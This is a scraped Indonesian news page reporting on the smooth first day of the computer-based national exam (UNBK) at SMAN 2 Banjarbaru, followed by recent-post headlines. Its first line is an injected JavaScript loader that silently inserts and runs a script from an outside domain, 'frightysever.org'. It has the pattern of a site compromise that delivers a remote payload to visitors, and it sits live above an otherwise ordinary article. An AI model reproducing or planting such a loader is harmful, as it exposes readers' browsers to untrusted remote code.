(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

UNBK Perdana Lancar, SMAN 2 Banjarbaru Aman dari Server Down!


BANJARBARU, Siswa-siswi SMAN 2 Banjarbaru menjalani Ujian Nasional Berbasis Kompoter (UNBK) yang digelar serentak, Senin (1/4). Palaksanaan ujian di hari peryama ini berlangsung lancar.

Sebelumnya sempat ada kekhawatiran siswa, orangtua, maupun guru akan terjadinya server down ataupun gangguan listrik. Namun, Kepala Sekolah SMAN 2 Banjarbaru, Eksan Wasesa mengatakan hingga sesi dua pelaksanaan UNBK, tidak ada gangguan teknis. “Hingga sesi kedua, sejauh ini tidak ada kendala baik itu teknis maupun non teknis. Kita juga selalu koordinasi dengan pihak PLN serta Telkom,” ujarnya.

UNBK dibagi menjadi tiga sesi yakni sesi pertama; 07.30-09.30 Wita, Sesi Kedua; 10.30-12.30 Wita dan Sesi ketiga; 13.30-15.30 Wita. Setiap sesi diberi waktu satu jam untuk berlanjut sesi berikutnya yang mana satu jam tersebut digunakan untuk istirahat maupun kembali belajar.

Khusus di SMAN 2 Banjarbaru ada sebanyak 301 siswa yang mengikuti UNBK. Seluruhnya  dibagi dalam tiga ruangan yang telah disiapkan dengan kapasitas satu ruangannya sebanyak 33 hingga 34 kursi. Meskipun belum adanya ditemukan kendala, Ehsan menegaskan pihaknya akan terus memantau dan siaga selama UNBK beberapa hari kedepan. “Kita akan terus berjaga-jaga dan kita telah siapkan khusus tim IT sebanyak tiga orang,” pungkasnya.

Badan Standar Nasional Pendidikan (BSNP) pun telah mengeluarkan surat edaran Prosedur Operasional Standar (POS) penyelenggaran Ujian Nasional. Di dalamnya, BSNP mengatur pula mengenai tata tertib Ujian Nasional Berbasis Komputer (UNBK).

Termasuk, BSNP membagi beberapa kategori pelanggaran dan sanksi yang akan diberikan bila peserta UNBK melakukan pelanggaran. Dikutip dari POS Pelaksanaan UNBK 2019 ada tiga level pelanggaran, mulai ringan, sedang, hingga berat. Pelanggaran terberat yang dilakukan peserta ujian dapat dikenakan sanksi dikeluarkan dari ruang ujian dan dinyatakan mendapat nilai 0 (nol) untuk mata pelajaran bersangkutan oleh ketua panitia tingkat satuan pendidikan.(rico)

Reporter:Rico
Editor:Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.